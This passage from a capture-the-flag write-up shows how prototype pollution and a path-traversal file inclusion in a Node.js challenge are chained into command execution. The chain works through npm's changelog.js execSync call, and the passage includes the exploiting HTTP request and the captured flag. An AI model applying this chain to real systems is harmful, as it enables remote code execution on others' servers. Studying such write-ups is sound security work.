If we could find a valid .js file that uses an attribute that we are able to pollute to spawn a new process or execute a command, then we could escalate this to an RCE.
In the Docker container, the most likely place where we could find a suitable candidate would be in the node_modules folder, containing the source code of the installed modules.
Doing a simple search for the child_process string, we could find some interesting scripts:
The changelog.js script indeed has an execSync call with a possible command injection.
'use strict'/*Usage:node scripts/changelog.js [comittish]Generates changelog entries in our format as best as its able based oncommits starting at comittish, or if that's not passed, latest.Ordinarily this is run via the gen-changelog shell script, which appendsthe result to the changelog.*/constexecSync=require('child_process').execSyncconstbranch=process.argv[2] ||'origin/latest'const log = execSync(`git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...`).toString().split(/\n/)
Since the require() call would not pass in any arguments, process.argv[2] is undefined. Therefore, we can pollute process.argv[2] with a command injection payload before importing the changelog.js file.
Then, we exploit the LFI vulnerability to execute the changelog.js script.
POST /api/tet/years HTTP/1.1...Content-Type:application/jsonContent-Length:81{"list":"../../../../../usr/local/lib/node_modules/npm/scripts/changelog.js"}
This should grant us our reverse shell.
$ cd /
$ ./readflag
TetCTF{c0mbine_p0lLut3_lFiii_withN0d3<3}